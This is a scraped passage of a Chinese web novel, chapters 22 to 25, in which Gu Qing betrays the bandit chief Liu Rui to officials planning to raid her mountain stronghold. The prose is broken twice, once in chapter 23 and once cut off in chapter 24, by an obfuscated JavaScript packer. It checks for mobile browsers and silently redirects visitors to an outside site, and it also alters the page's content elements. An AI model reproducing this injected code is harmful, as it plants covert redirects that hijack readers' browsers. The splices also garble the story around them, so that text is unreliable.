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柳锐不欲多言,走到离她们极远的小山坡上坐下,悠悠吹着口哨喊天上的鹰,确认她不会听到二人的交谈,顾顺才领着顾清走进一旁的灌木丛后,借着袖子交给他一样东西。 顾清愣怔了下,眸子微动:“这是…” “弟弟,我此番被人暗害,把罪犯弄丢了,就算去找,未必能找回,倘若真到了那个时候,要想将我顾家的损失降到最低,只有将功折罪这一条路可走,眼前我们有偌大的立功机会,何不好好把握?这是我冥思苦想一整晚想出来的,本想早早交给你,可她早上就一直跟着,寨中又人多眼杂,我实在找不着机会,你可千万把它藏好。” 顾清垂下眸子,心中十分摇摆不定:“但她救了你,也救过我几次。” “我刚刚不是还恩了么,几千两银子还不够还她救命的恩情么?恩情既已还完,就无须再犹豫。”顾顺语气颇冷:“官与匪势不两立,龙头寨在此地为非作歹数年,害苦了不少人,于情于理,她们都该死。” 饶是如此,顾清心里也有一种说不出的感觉,让他本能觉得这件事情似乎不该做绝,可他从来没有忤逆过母亲与姐姐们,这使得他蹙眉不语,顾顺见状,问他:“她抢走你,差点将你毁了,你该恨死她才对,难道说,你对她心动了,舍不得杀她?” “我没有!”顾清几乎是立刻脱口而出,旋即又正色道:“姐姐,我只忠心于我未来的妻主,她不是。” “很好,这才是我顾家的公子。”顾顺点点头。 “那现在我再问你,拿一个你不喜欢的山匪来换回姐姐们的未来,值得吗?” 山中的风略过,透过树与树的缝隙,顾清看了眼远处的柳锐,鹰停在她手臂上,而她正百无聊赖地摸着鹰脑袋,浑然不觉此处发生的一切。 不过就是一个柳锐而已,不过就是一个对他动了真心的山匪而已,仅此而已。 顾清闭了下眼睛,随后睁开,看向姐姐。 “…值。” 23. 第二十三章 春末夏初,艳阳高照,如今正是晌午用饭的时间,但此刻却有不少山匪把这事忘了,一齐聚在寨中的议事堂前看热闹。 小六来得迟,擦了擦汗挤到人群中来,垫脚才能透过人群看见议事堂里正站着个中年女子,她赔笑不断作揖,在朝太师椅上坐着的大当家嘀嘀咕咕说些什么,柳锐面无表情地悠哉听着,手指敲着茶盏的杯沿,一下又一下。 “竟然敢主动上我们龙头岭找大当家,不要命了吧?”小六忍不住问了句。 早来一步的山匪知道的多,闻言好心解释:“这是来求和,她家主人在江南富甲一方,此次要北上做生意,龙头岭是商队的必经之路,她害怕咱们会出手抢劫,因此提前派人来送礼打点,想让我们放她一马。” “几日前您血洗山道以一敌百的事,我家主人也听说了,她对您敬佩不已,是万万不敢和您兵刃相接的,这才派小人提前来聊表心意。” 中年女子说完话就一挥手,便有侍从抬上整整十只巨大的黑木箱,这些箱子瞬间挤满整个议事堂,她这才带着点得意看向柳锐,然而出乎她意料,柳锐连话都不说,不咸不淡瞥她一眼,就自顾自地拿起桌上的凉茶啜饮起来。 中年女子尴尬了下,硬着头皮转身,对着随行的人喝道:“几个蠢货,难不成还要叫柳大当家自己来打开箱子不成!” 箱子被迅速打开,柳锐这才抬眸去看,只见前九个箱子里装满了价值不菲的瓷器玉石,而最后一个,竟是装了一整箱黄金!说起来当真新奇,龙头寨在此地占山为王多年,眼下还是头一回收过路费。 堂外众山匪忍不住倒吸口冷气,柳锐情绪起伏没有那样大,看完这些礼物后直接问:“出手这么阔绰,应该不是简单的过路费吧,你就没有别的东西要同我交代?” “不愧是柳大当家,什么都瞒不住您呐。”女子满脸堆笑,上前一步凑到柳锐面前:“这山上是还有一座山寨,做主的是您姐姐柳峰吧?我家主人早年游历此地,在赌坊中和柳峰结下梁子,此次经过,她恐怕会因趁机劫走货物,五日后商队便要到达此地,届时,想请您派人马专程护送我们一段。” 话到此处,见柳锐没有反驳,那女人趁热打铁用手给她比了个数:“商队平安离开龙头岭后,我家主人必当重谢,钱只多不少,包您满意。” 柳锐向后靠在了椅背上,思索片刻笑了笑:“送客。” —— “这活倒也不难,你怎么就推了呢。” 午后天气热,柳锐有些困乏,从议事堂出来便要回别院小憩,包子有些不理解她的决定,跟在后头跟了一路。 “对方与我们素不相识,又贸然前来,我不敢单凭几句话就与她合作,此事真假都有待商榷,出过前几日那样的事,最近不太平,我不得不谨慎些。” 柳锐说的是她差点被人当作替罪羊那件事,听她这样讲,包子也无法反驳,蹙眉跟在后头,颇为遗憾:“还以为终于找到机会再痛揍一回柳峰了。” “别惦记着她了,好不容易她消停一阵,你偏要跟她搅合,还让不让我睡个安稳觉了?没事就赶紧回去喝酒。” 柳锐半推半哄的把她赶了出去,看到她走远才放心回去休息,初夏的午后会让人热出一层薄汗,柳锐回屋午睡,却发现自己怎么样都睡不着,但好在院里的大树下颇为阴凉,她索性搬了躺椅来,躺在树底下感受到一阵清凉的山风拂面,她才放松下来,闭上眼发出一声喟叹。 耳畔的知了声若有似无,也不知过了多久,一阵脚步声由远及近,停在离她不远不近的地方,没再向前,柳锐在躺椅上睁开眼,仰头看见顾清站在树的阴影之外,他头上半绾着一支束发用的玉簪,墨发披散,一身与玉同色的长衫落地,隐隐勾出身型,一双漂亮的眼睛此刻正凝视着她,眸底宛若幽潭。 柳锐以为他是来问顾顺的事的,于是从躺椅上坐起身。 “今日还没有你姐姐的消息,若有,我一定第一时间告诉你。” 顾清没接这话,走到她身侧坐下,问道:“刚刚那边很吵,发生了什么?” 他主动和她聊天,柳锐自然愿意跟他说下去,她扬了下唇角,斜倚在躺椅的扶手上,侧目看他:“很稀奇的一件事,一个商人突然送了一大堆东西来当过路费,还说与柳峰有仇,要我派人护送她的商队安全经过龙头岭。” 顾清没有太惊讶或是好奇,他垂头去看树下的几朵小野花,轻声道:“那你收下那些钱财了么。” “没,那活我没接,我让她把东西都带回去,她好像不是很情愿,磨磨唧唧半天,也不知道现在包子把她赶走了没。” 听到她拒绝了这件事,顾清眼中闪过丝复杂的神色,他幽幽看向她:“是那些钱不够?” “不是,我不太相信陌生人而已,怎么,你想让我接?” 柳锐开玩笑似的问他,顾清没回答,片刻后从袖中拿出一条珠络递给她,柳锐愣怔了瞬,下意识接过,而后问道:“这是什么?” “刚编好的东西,可以拿来束发,也可以戴在手上把玩,送给你了,这是我单独给的谢礼,谢谢你救了我姐姐。” 顾清强压着心底的五味杂陈开口,说话间,他看见柳锐的唇角扬起了柔和的弧度,那是旁人都无法见识到的柳锐,他忍不住为这笑容晃神,心跳都慢了半拍,与此同时,他竟生起一股浓浓的负罪感,如果这条珠络真的是件礼物的话就好了… 但顾清很快就遏制住了自己的想法,逐渐恢复镇定,没在柳锐面前展现出一丝一毫的不妥贴。 但其实此刻哪怕他有什么不对,柳锐也很难察觉,她的全部注意力都早已被那条珠络所吸引。 那是条淡绿色玉珠和透着淡黄色细腻光泽的珍珠串联在一起的珠络,握在手中清凉温润,还带着一股极其好闻的香味,柳锐盯着看了许久,也颇为感慨,初见时一剪子要划破她脸的人,如今竟然会主动送她礼物了,其实此前两个多月未有什么进展,她偶尔会感到灰心,可如今看到他送的珠络,她又觉得一切都是值得的。 顾清突然问她:“喜欢吗?” “当然,我非常喜欢。” 听到这个回答,顾清自觉再无事可聊,于是起身就要离开,却不想柳锐一把拉住他:“等等,把这个带走。” 顾清一愣,下一秒手上多出张薄纸,他垂眸一看,却发现是顾顺送给柳锐的那张银票,他一下子怔住,皱眉回头看她:“你这是什么意思?” “这张银票,我本来就不想收,现在可以拿回去还给你姐姐了。” 闻言,顾清瞬间变了脸色,冷声告诉她: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512042|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不要银票,那你就什么也得不到。” 柳锐浑不在意,摇晃了一下手中的珠络,眼底的笑如同柔和的海:“若把我救她当作是一场交易,那么区区五千两银子可买不来龙头岭柳锐的拼死相救,但若是救心上人的姐姐,那么一条珠络就够了,我已经得到了自己满意的谢礼,至于旁的,我不在乎。” 救心上人的姐姐,一条珠络就够了。 救心上人的姐姐,一条珠络就够了… 顾清身形一僵,觉得自己像是中了什么咒,脑海里反复回荡不曾有人和他说过的话,好半晌才有些无措地轻颤了睫羽,脸色惨白的转头离开,仓促丢下句:“我不想听你胡说八道,随便你吧,我不管了。” 柳锐坐在树下懵了会,随即无奈耸耸肩,继续垂眸端详手中漂亮精致的珠络,片刻后小心将它系在自己手腕上,唇角忍不住扬起得意的笑。 “回大当家的话,我们昨夜就派了几个人去柳峰的山寨外打探,发现她们果真是在风风火火地准备着兵器和马匹,还有不少人在叫嚣着什么报仇,吵得林子里都鸡飞狗跳。” 晨起,柳锐尚且在洗漱时便已经开始听小山匪汇报起昨日的相关事宜,她将帕子丢回水盆中,而后若有所思地道:“所以…那人说的事是真的? 小山匪也不甚清楚,只得摇摇头,柳锐又问她:“昨日那伙人,最后是何时离开山寨的?” “为首的那个人拉着二当家劝了很久,也不知道说了些什么,二当家就留她吃了顿晚饭,然后亲自将人送下了山。” 没把人留在山上就成。 柳锐颔首道:“行,我知道了,你先下去吧。” 小山匪点了点头,转身后突然又很纠结地转回来,踌躇在原地不肯走,柳锐见她这副样子,便问:“还有事?” “也,也不是什么大事,只不过…我觉得这事还是要跟大当家您说一下比较好,不过只当是小的多心。”小山匪咽了下口水,继续道:“昨个我们打探完消息回寨的时候,看见一个人正在往寨里的树林走,因为此前二当家就交代过,寨里有外面派来的奸细,我们就担心是有人又要做坏事,于是就悄悄跟上去看了看,结果发现是您的夫郎。” 提到顾清,柳锐倒茶的手一顿。 “他什么也没做,像是等人,又像是出来散心的,后来我们和几个巡逻的姐妹撞上,她们招呼我们去喝酒,等我们再回神的时候,顾夫郎就不见了。” 待小山匪走后,柳锐才喝了几口热茶,垂头时看见自己手腕上系着的珠络,思绪有片刻的停滞,正当她打算今日找顾清闲聊时问个清楚的时候,山寨里忽而一阵吵闹。 “快,快去找郎中…” “去喊大当家来!” 柳锐早已听见了声音,她推窗朝外望,只见一群人正簇拥着什么推推搡搡地行进,她瞬间有了股不详的预感,随即放下茶盏奔了出去,离人群越来越近时,她闻到一股血腥味,人群外围的山匪们看见她走过来,纷纷让开一条道,柳锐一眼扫过,见每个人的脸上都是惊惧之色。 她心一沉。 很快,她就走到了人群正中心,只见包子正和另一个山匪满脸焦急地扶着个满头是血的人,那人已经昏迷过去,但柳锐还是认出了此人是谁,她瞬间瞳孔缩紧:“老念!” 24. 第二十四章 “念姐的头被重物砸伤,因而失去意识从高处摔了下来…我已竭尽所能救治,但她毕竟元气大伤,何时醒来,醒来的状况如何,就连我也尚且不知,还请大当家见谅。” 待郎中诊治结束,屋里的气氛越发凝重,恍若冰冷沉重的雾气,笼罩在房中的每一个角落。 老念脸色白得瘆人,衣服上满是泥点和血迹,破损的衣角下全是被沙石擦伤的皮肤,足以让人料想到她摔下来时有多么痛苦狼狈,柳锐看不下去,先吩咐了下人小心地为她换衣敷药,而后才转头看向屋内,房间里还站着不少人,都是来关心老念伤情的,她一眼扫过,开口问所有人:“谁是第一个发现老念的?” 几人面面相觑,一个年轻的小山匪站出来,表情不安:“大当家,是我,您有什么要吩咐我去做的吗?” “问点事罢了。”柳锐停下斟酌会,继续道:“把你发现老念的经过详细说给我听。” 小山匪咽了下口水,开始努力回忆起来:“这几日天热,我夜里睡不着,本想早起去外头摘些薄荷叶泡茶解暑,可刚一出寨就闻见了股非常浓的血腥味,我循着那味去找,才发现念姐一动不动地躺在一处小土坑里,还浑身是血,我吓个半死,就赶紧回来告诉了二当家,和姐妹们一起将念姐扶了回来。” “那处土坑离山寨大概有多远?” “约莫百来步,一盏茶的功夫就能走到了。” 这距离太近了,近得诡异,柳锐的眼神逐渐转向晦暗不明,与此同时,已经有人意识到问题所在,胆怯地开口问大家:“念姐受伤,是不小心撞上了山里掉落的碎石,还是说,有人故意砸伤了她?” 老念倒下的地方只是个土坑,既不是断崖,也不是什么洞穴,根本不会有什么碎石,大家心里都清楚,这多半是有人故意而为之。 这个人会是谁?柳锐立即就想到了潜伏在暗处的内应,毕竟老念就是为了顺着赌坊小厮阿亮这条线索去查内应而下山的… 柳锐陷入沉思之中,余光瞥见下人们已经给老念敷过药换了衣裳,见老念的模样比方才好一些,柳锐才放心地移开目光,然而下一瞬她又感到哪里有些奇怪,遂将视线转了回去再定睛一瞧,老念的枕边不知何时出现一枚染血的玉佩,光泽细腻,引人注目。 但这枚玉佩当即让柳锐变了脸色,她立刻问:“你们从哪里找到的那枚玉佩?” 下人们愣了下,其中一人回答:“是念姐袖子里掉出来的。” 几句话便将房内众人的注意力皆吸引了过来,很快便有人诧异地出声:“这不是柳峰的东西吗?” 老寨主曾给柳峰送过一块老坑冰种翡翠雕刻而成的玉佩,这玉佩价值连城,柳峰成日里都戴在身上,就连在赌坊里最窘迫的时候,都不舍得把这块彰显她少主身份的玉佩抵押出去,后来她自立门户,反而觉得这玉佩于她是个耻辱,就再未让它出现在人前。 “柳峰的东西怎么会在念姐身上?” “昨日那伙人不是说和柳峰有仇,求我们护送一程么,这事该不会被柳峰听去了,她便砸伤念姐威胁我们吧?” “王八蛋!他爹的活脱脱一个畜生!” 一直沉默不语,蹲在一边的包子陡然站起身,她脸色是前所未有的可怕:“老念她都要害,真不是个东西,柳峰她活到现在,也不知道给寨子里带来了多少祸事!” “这世上没有仅凭一块玉佩就盖棺定论的案子,老念没醒,真相还尚且不知,你别太过激动。” 包子没有反驳柳锐,可双眼却一直死死盯着那玉佩,双手用力攥紧,良久都不肯松开。 —— 月明星稀,夜里三更天。 柳锐后仰靠在椅背上望着天花板发呆,也不知过了多久,一旁响起下人欣喜的声音:“大当家,念姐的烧退了。” 闻言,柳锐立即朝床上看去,午后老念便发起了高烧,柳锐不放心她,索性就守在了这里,谁知一坐就待到了夜半三更,好在这一日三副药喝下去起了成效,老念的脸色也已变得正常,除了依旧没有苏醒的迹象外,一切都在逐渐转好。 “大当家,念姐已无大碍,有我们这些人在这候着,您就回去休息吧,可千万别累坏了自己。” 下人是出于好意,但老念现在还无法自保,柳锐不敢保证这个节骨眼上无人生事,不亲自守着,她没法放心。 “不必,半个时辰后天就要亮了,我还是想守完这一整夜,你们先去休息吧,白日还有得忙。” 她这样坚持,下人也不好再说什么,不多时,房中便只剩她和老念二人,屋里的蜡烛已经燃到最末端,火苗微弱,光线忽明忽暗,晃得柳锐头晕,她干脆将唯一的那盏烛灯给熄了,坐在一片漆黑之中。 老念均匀却又略有些沉重的呼吸是屋里唯一的声响,柳锐趴在桌上打了几个哈欠,说来也是奇怪,她一向体力很好,下山打劫时混战几日都不觉得累,可眼下熬了半宿就头晕脑胀,浑身不舒坦。 “该是暑气的影响。”柳锐小声的自言自语了下,随即打算出去洗把脸提神,然而她刚站起来,便猛地发现门外不知何时站了个女子,黑乎乎的人影在月光下格外清晰。 柳锐陡然间眉心一跳,强压下自己身体的不适,猫着腰悄然走近,一步一步,宛若即将狩猎的老虎,眼中闪着幽幽光泽,可就在她即将扑出去时,隔壁的房门“嘎吱——”一声打开,那人影迅速消失! 坏了,她要逃。 “有,有鬼影!” 外头响起惊叫声,柳锐立刻踢门而出,然而还是晚一步,起夜的下人哆哆嗦嗦站在院子里,而那穿着夜行衣的女子已至墙头一跃而下,看她即将逃之夭夭,柳锐脸上立刻浮现出杀意。 “去找包子,让她带人守在这里,我去抓这家伙。” 话毕,柳锐一步翻身跃过墙头,紧追其后。 夜色深沉,猛虎紧追自己的猎物不放,山风就宛若是凶狠的呼啸,二人一前一后,两道黑影飞掠过半个山寨,要说内应不愧是内应,其精妙熟练的逃跑技巧让她在这场角逐中不落下风。 在穿过数座阁楼小院后,前边的人终于改变了方向,往山寨中的密林里钻去,昏暗的树林里响起“哗啦啦”的树叶摩挲声,树林里障碍物多,光线昏暗,若真容她逃进去,便完全没有抓住她的可能了,于是柳锐毫不犹豫调动起全身内力,打算攀上树干走高处拦下她,可就在这重要关头,她忽然眼前一黑—— “砰!”一声闷响,她在方向感尽失的瞬间径直撞在了面前的老树枝桠上。 “真是该死。” 柳锐气得骂了句,踉跄几步靠在树干上吃力地喘气,此刻头痛欲裂,她挣扎了许久才勉强恢复视线,也就在这个时候,柳锐才发觉自己已经没发使力,方才从丹田处如泉涌一般运至周身的内力在顷刻间消失了,就好像身体的某一处被关上门,锁住了她所有的力气。 怎么会如此严重,是跟今日太过疲惫…柳锐意识逐渐昏沉,偏偏这个时候树林中还响起一阵由及近的脚步声,她心中顿时警惕起来,死死盯着声音的来源处不敢眨眼,当那道身影穿过灌木丛中走出来时,柳锐在一刹那猛地攥紧指节,紧接着又忽然愣了下, 出现在她面前的不是内应,而是顾清,他大概也有些惊讶,站在那迟迟不肯向前,树林里光线骤暗,将他的神情隐匿在夜色之中,让人无法看清。 柳锐疲惫地靠着树干,尽力保持着一丝清醒问:“你怎么在这。” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳锐在昏迷前拿出了一直随身携带的手镯放在了他膝上:“你可以戴着这只玉镯下山,去任何你想去的地方,哪怕不是我身边。” 顾清的呼吸一滞。 良久,确定柳锐已暂时昏睡过去,顾清才垂眸看向那只被他摔碎,而后又改成金镶玉的镯子,他现在不知道该如何处理这只手镯,便只能略带颤抖地拿起,放在手上。 “为什么你给我,我就一定要带走它,它没有多特别,我家里有许多这样的手镯,不缺你这一条…” 他像是在反驳柳锐,但神情有些难言的落寞和低落,靠着他的女子身体传来的温度让他的心有点乱,前所未有的乱,顾清侧目看向柳锐,她睡着时既不狠戾,也没有杀气,唯有漂亮和一种沉静的温柔,那种温柔,是猛兽只会在自己伴侣前才会安心展露出的东西。 但那又怎么样呢,他不是她的伴侣,他是捕杀猛兽的人,比起猛兽的温柔,他更需要她的价值。 虽然心中清楚,但顾清睫羽轻颤着看她看了很久,久到面前有人都没有察觉,还是那人先开口提醒他:“公子,可以把她交给我了。” 这声音让顾清整颗心瑟缩了下,他纠结地抬头看向小黑,松开了不知何时扶住柳锐肩膀的手,小黑刚打算伸手去够柳锐的衣领,顾清却又突然抓住柳锐,小黑一懵,看他道:“公子,我们昨晚不是最后商议好了吗,她由我来看管。” “我知道。”顾清抬眸,不确定地问:“你应该不会现在就杀了她吧。” “当然不会了,小顾将军的意思不是要活捉她么,活捉才有价值啊。”小黑笑了笑:“我会把她藏起来,直至两位大人围剿龙头寨结束后,再押着她下山。” 听到她这样讲,顾清低下头,挣扎良久后渐渐松开手。 他终于还是把她给献出去了。 25. 第二十五章 “大名鼎鼎的龙头寨柳锐,从前官府都奈何不得你,我还道剿匪是件多困难的事,如今来看,不过如此。” 是谁在说话? 直至一阵沉闷的关门声后,柳锐蹙眉睁开双眼,紧接着铺天盖地的眩晕与恶心便朝她袭来,一瞬便让她冒了一身冷汗,柳锐不得不迅速阂眼缓解,待意识完全清醒过来,微眯着眼环顾四周。 昏迷前最后的记忆,是顾清如月般清冷的侧颜和他周身好闻的气息,那是一个美梦,然而梦中骤醒,她却躺在一片昏暗中,唯一能嗅到的是浓重的霉味,她的手脚被捆了个严实——其实不用捆,柳锐感知到自己身体出了问题,致使她像被鬼压床一般,没有力气,发不出声音,根本无法动弹。 她被禁锢住了,这是内应做的么,顾清呢?她突然遭到暗算,那顾清又… “不行,二当家,我们已到处找过,还是找不到大当家,昨日夜巡的姐妹们也说没见过她。” 隔着上方天花板传来的模糊声音让她愣怔片刻,旋即眸子一紧。 “她消失的不对劲了。”包子的声音响起,她话语里满是疑惑,停顿片刻后,她像是在询问什么人:“你再把昨夜的情形同我说一遍。” “昨晚…昨晚三更,念姐的烧退下了,大当家便自己照顾念姐,让我们去歇息,我水喝多了,睡到一半起夜,谁知刚开门便见一个黑影蹲守在念姐的房门口,跟鬼似的,我大叫一声,那人就跑了,大当家也听到声音出来了,临走时让我叫二当家带人来守着,她自己去追人。” 下人颤颤巍巍说完,便有人道:“咱们和二当家一起守了后半夜,守到天明大当家都没回来,只怕是在这途中…” “放他爹的狗屁!”包子心情极差,不等那人说完就一拍桌子骂道:“她是什么身手你们难道不知道吗,这种胡言乱语也敢当着我面说?” 老念前脚刚出事,包子尚未调整好柳锐便失踪了,这叫她实在难以接受,众人好一阵劝说后才叫包子安静下来,另一个人提议道:“当务之急是找大当家,昨夜她追的那个黑衣人,应该是二当家你们反复提及的内应吧?” “但内应在寨中孤立无援,仅凭她一个人,是如何困住大当家的?” 此话一出,所有人都安静下来,就在这时,外头有小山匪未经通报便闯进来:“二当家,突然有人送了个匣子到门口,说是柳峰送给您的礼物。” “滚,我现在没心情管她。”包子的语气里满是不耐,然而很快她忽然变了态度:“匣子怎么一股血腥味…你把它拿来!” 紧接着是惊呼,有人反应迅速:“这是大当家右臂上的软甲!为了方便让鹰停在她手臂上,大当家每一件衣服都有这样的软甲!” “这软甲上还带着血…” 凭借柳锐的武功,旁人很难近她的身,若她连手臂上的软甲都被人砍了下来,软甲上还浸满鲜血,那只怕她凶多吉少。 气氛一下子变得诡异,包子一句话没说,可她的呼吸声却陡然变得沉重,其他人也都不好受,只有人勉强强撑着分析道:“内应只怕是又和她合作了,柳峰带出去的人本就全是龙头寨的,她们对这里的地形最清楚,要想帮助内应对付大当家,对她们而言可不算难。” “太可怕了,据说大当家她们在昏迷的念姐那找到了柳峰的玉佩,就连砸伤念姐也是她干的,她近来怎么如此狂妄?” “一个是从小看她长大的长辈,另一个是一起长大的妹妹啊…” “此前她也会来闹事闹的却不似这般不留半点余地,如今连害两人,怎么会突然如此狠心?” 有人提问,自然有人猜测:“你们还记得几日前来找大当家的商队吗?她们的老板和柳峰有仇,就想请我们庇护一程,柳峰一定是知道商队和我们接触了,她担心我们会坏事,所以前脚重伤念姐,后头暗算大当家,想让我们没有办法阻止她报仇。” 屋里的众人一齐沉默下来,良久,包子低沉的声音透过木板传到柳锐耳朵里:“那支商队何时才会路过龙头岭?” “按照那伙人临走时说的话来算,就是今日。” 包子站起声,她坐的椅子在地上“嘎吱”一声摩擦出刺耳的声音。 “所有人听命,凡是拎得动刀的,一律上马跟我下山,不从者皆按叛徒来处置。” “她想阻止我们,我偏不让她如意,没有大当家,柳峰再给什么样的威胁我都不怕了,我今天不仅要坏她的事,我还要杀了这个畜生。”包子顿了下,语气坚定:“我要把大当家带回来,是死是活都要带回来。” 柳锐将这场谈话听得一清二楚。 其实当她们开口说话时,她便也已经知道这是哪里了,这是龙头寨的议事厅—隆兴堂,大家议论大事的地方,而她所处的位置,是位于隆兴堂地底下的废弃库房,因为已经废弃,平日里根本没人来,因此也不会有人想到大当家竟然被关在这里。 把她捆在这里的人别有用心,一来,这里不易被人发现,二来——有什么是比让她亲耳听见山匪们如何中计更绝望的呢? 柳锐的眼眶逐渐红了,并非难,而是恨意与杀意交织在一起。 远处群马的嘶鸣声响起,年轻力壮的山匪们一齐离开了寨子。 柳锐短暂地闭了会眼睛。 她已经猜到那恐怕是一个深渊,一旦坠入,龙头寨就将步入万劫不复。 那也是她的万劫不复。 —— 小黑带走柳锐时告诉过顾清,今日就收拾准备好,傍晚时三千精兵一包围山寨,他就可以回家了。 收拾些什么呢?他没什么好带走的,唯一还留在身上的,是柳锐给他的那只手镯,当然,这原先是柳锐当作定情信物的东西,因此他绝对不可能戴上它,他起过许多次扔掉它的念头,但又没有动手。 留她送的礼物有什么意思呢,难道是为了纪念她抓走你的那段痛苦日子吗? 可她就快要死了… 就在他犹豫不决的时候,一股烧焦的气味透过门缝飘进屋中,这股烟味浓烈又呛人,他眉心微动,草草将玉镯收进袖子里,随后站起身打开窗,只见不远处升起一股浓烟,不多时,便有 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小黑的眼里是可怕的火光,看着这样的人,顾清心底突然意识到一件很可怕的事,他脸色微变,问她:“柳锐在哪里?” 小黑立即道:“您放心吧,我有意避开她所在的地方放火,她烧不死的,待您安全下山,我就去把她找出来。”话到此处,她脸上浮现出一种骇人的笑容:“我把她关在了一个很好的地方,那里非常奇妙,想来她一定会喜欢的。” 看着面前这人诡异的笑容,顾清心中生出一股恶寒,他这才真正认识这个人,此前对她知之甚少,如今才多说几句,他便察觉面前这人有着非常可怕的一面。 而失去意识的柳锐如今却在她手里… 顾清顿时变了脸色:“我只让你把她关起来,却从来没说过让你折磨柳锐,你现在就把她带出来,然后迅速去把这里的火灭了!” 小黑却是无动于衷,十分不解:“公子,现在灭火有什么意义,左右这些人都是要死的,什么样的死法又有何区别?至于柳锐,被杀头的折磨她都要受了,这点折磨还算什么?她不是最奉行弱肉强食的道理吗,如今她是弱者,任由我们处置,她理应心服口服。” 顾清的脸色越来越差,当小黑要拉着他逃跑时,他本能地甩开她,冷脸道:“你肆意放火也是杀头的罪,届时拿你剿匪的功来抵,你的一切筹谋都将付诸东流。” 火烧起来燃着木头的噼啪声愈来愈近,黑烟滚滚,小黑终于不耐烦地叫了起来:“公子,您怎么现在犯起糊涂了!” “是您要设计害死她,这一切都是您一步步安排着让我做的,如今她也确实是死到临头了,您又去管这些鸡毛蒜皮的小事有何用啊?您…” 小黑忽然睁大眼睛不说话了,顾清心有所感漏跳了半拍,随后才艰难地转头看向前方。 夕阳西下,柳锐定定站在不远处。 她宛若从炼狱中走了一遭,被风吹拂的凌乱发丝下是一双猩红的眼睛,一身灰蒙蒙的黑衣,手腕和脚腕处全是触目惊心的伤口,鲜血淋漓,落了一地殷红。